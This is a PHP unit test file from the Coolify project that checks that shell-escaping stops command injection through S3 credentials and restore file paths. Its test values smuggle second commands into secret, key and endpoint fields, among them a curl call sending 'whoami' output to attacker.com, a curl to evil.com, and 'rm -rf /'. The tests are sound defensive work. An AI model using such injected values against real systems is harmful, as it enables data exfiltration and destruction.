coolify/tests/Unit/S3RestoreSecurityTest.php

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2025-11-17 09:05:18 +00:00
<?php
use App\Livewire\Project\Database\ImportForm;
use App\Models\StandaloneMariadb;
use App\Models\StandaloneMongodb;
use App\Models\StandaloneMysql;
use App\Models\StandalonePostgresql;
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it('escapeshellarg properly escapes S3 credentials with shell metacharacters', function () {
// Test that escapeshellarg works correctly for various malicious inputs
// This is the core security mechanism used by ImportForm.
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// Test case 1: Secret with command injection attempt
$maliciousSecret = 'secret";curl https://attacker.com/ -X POST --data `whoami`;echo "pwned';
$escapedSecret = escapeshellarg($maliciousSecret);
// escapeshellarg should wrap in single quotes and escape any single quotes
expect($escapedSecret)->toBe("'secret\";curl https://attacker.com/ -X POST --data `whoami`;echo \"pwned'");
// When used in a command, the shell metacharacters should be treated as literal strings
$command = "echo {$escapedSecret}";
// The dangerous part (";curl) is now safely inside single quotes
expect($command)->toContain("'secret"); // Properly quoted
expect($escapedSecret)->toStartWith("'"); // Starts with quote
expect($escapedSecret)->toEndWith("'"); // Ends with quote
// Test case 2: Endpoint with command injection
$maliciousEndpoint = 'https://s3.example.com";whoami;"';
$escapedEndpoint = escapeshellarg($maliciousEndpoint);
expect($escapedEndpoint)->toBe("'https://s3.example.com\";whoami;\"'");
// Test case 3: Key with destructive command
$maliciousKey = 'access-key";rm -rf /;echo "';
$escapedKey = escapeshellarg($maliciousKey);
expect($escapedKey)->toBe("'access-key\";rm -rf /;echo \"'");
// Test case 4: Normal credentials should work fine
$normalSecret = 'MySecretKey123';
$normalEndpoint = 'https://s3.amazonaws.com';
$normalKey = 'AKIAIOSFODNN7EXAMPLE';
expect(escapeshellarg($normalSecret))->toBe("'MySecretKey123'");
expect(escapeshellarg($normalEndpoint))->toBe("'https://s3.amazonaws.com'");
expect(escapeshellarg($normalKey))->toBe("'AKIAIOSFODNN7EXAMPLE'");
});
it('verifies command injection is prevented in mc alias set command format', function () {
// Simulate the exact scenario from ImportForm.
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$containerName = 's3-restore-test-uuid';
$endpoint = 'https://s3.example.com";curl http://evil.com;echo "';
$key = 'AKIATEST";whoami;"';
$secret = 'SecretKey";rm -rf /tmp;echo "';
// Before fix (vulnerable):
// $vulnerableCommand = "docker exec {$containerName} mc alias set s3temp {$endpoint} {$key} \"{$secret}\"";
// This would allow command injection because $endpoint and $key are not quoted,
// and $secret's double quotes can be escaped
// After fix (secure):
$escapedEndpoint = escapeshellarg($endpoint);
$escapedKey = escapeshellarg($key);
$escapedSecret = escapeshellarg($secret);
$secureCommand = "docker exec {$containerName} mc alias set s3temp {$escapedEndpoint} {$escapedKey} {$escapedSecret}";
// Verify the secure command has properly escaped values
expect($secureCommand)->toContain("'https://s3.example.com\";curl http://evil.com;echo \"'");
expect($secureCommand)->toContain("'AKIATEST\";whoami;\"'");
expect($secureCommand)->toContain("'SecretKey\";rm -rf /tmp;echo \"'");
// Verify that the command injection attempts are neutered (they're literal strings now)
// The values are wrapped in single quotes, so shell metacharacters are treated as literals
// Check that all three parameters are properly quoted
expect($secureCommand)->toMatch("/mc alias set s3temp '[^']+' '[^']+' '[^']+'/"); // All params in quotes
// Verify the dangerous parts are inside quotes (between the quote marks)
// The pattern "'...\";curl...'" means the semicolon is INSIDE the quoted value
expect($secureCommand)->toContain("'https://s3.example.com\";curl http://evil.com;echo \"'");
// Ensure we're NOT using the old vulnerable pattern with unquoted values
$vulnerablePattern = 'mc alias set s3temp https://'; // Unquoted endpoint would match this
expect($secureCommand)->not->toContain($vulnerablePattern);
});
it('handles S3 secrets with single quotes correctly', function () {
// Test edge case: secret containing single quotes
// escapeshellarg handles this by closing the quote, adding an escaped quote, and reopening
$secretWithQuote = "my'secret'key";
$escaped = escapeshellarg($secretWithQuote);
// The expected output format is: 'my'\''secret'\''key'
// This is how escapeshellarg handles single quotes in the input
expect($escaped)->toBe("'my'\\''secret'\\''key'");
// Verify it would work in a command context
$containerName = 's3-restore-test';
$endpoint = escapeshellarg('https://s3.amazonaws.com');
$key = escapeshellarg('AKIATEST');
$command = "docker exec {$containerName} mc alias set s3temp {$endpoint} {$key} {$escaped}";
// The command should contain the properly escaped secret
expect($command)->toContain("'my'\\''secret'\\''key'");
});
it('quotes restore command temp paths with spaces', function (string $morphClass) {
$component = new class extends ImportForm
{
public string $morphClass;
public function __get($property)
{
if ($property === 'resource') {
return new class($this->morphClass)
{
public function __construct(private readonly string $morphClass) {}
public function getMorphClass(): string
{
return $this->morphClass;
}
};
}
return parent::__get($property);
}
};
$component->morphClass = $morphClass;
$tmpPath = '/tmp/restore_test-may 2026.sql.gz';
$restoreCommand = $component->buildRestoreCommand($tmpPath);
expect($restoreCommand)
->toContain(escapeshellarg($tmpPath))
->not->toContain(" {$tmpPath}");
})->with([
'mariadb' => StandaloneMariadb::class,
'mysql' => StandaloneMysql::class,
'postgresql' => StandalonePostgresql::class,
'mongodb' => StandaloneMongodb::class,
]);
it('quotes dump all restore command temp paths with spaces', function (string $morphClass) {
$component = new class extends ImportForm
{
public string $morphClass;
public function __get($property)
{
if ($property === 'resource') {
return new class($this->morphClass)
{
public function __construct(private readonly string $morphClass) {}
public function getMorphClass(): string
{
return $this->morphClass;
}
};
}
return parent::__get($property);
}
};
$component->morphClass = $morphClass;
$component->dumpAll = true;
$tmpPath = '/tmp/restore_test-may 2026.sql.gz';
$escapedTmpPath = escapeshellarg($tmpPath);
$restoreCommand = $component->buildRestoreCommand($tmpPath);
expect($restoreCommand)
->toContain("gunzip -cf {$escapedTmpPath}")
->toContain("cat {$escapedTmpPath}")
->not->toContain("gunzip -cf {$tmpPath}")
->not->toContain("cat {$tmpPath}");
})->with([
'mariadb' => StandaloneMariadb::class,
'mysql' => StandaloneMysql::class,
'postgresql' => StandalonePostgresql::class,
]);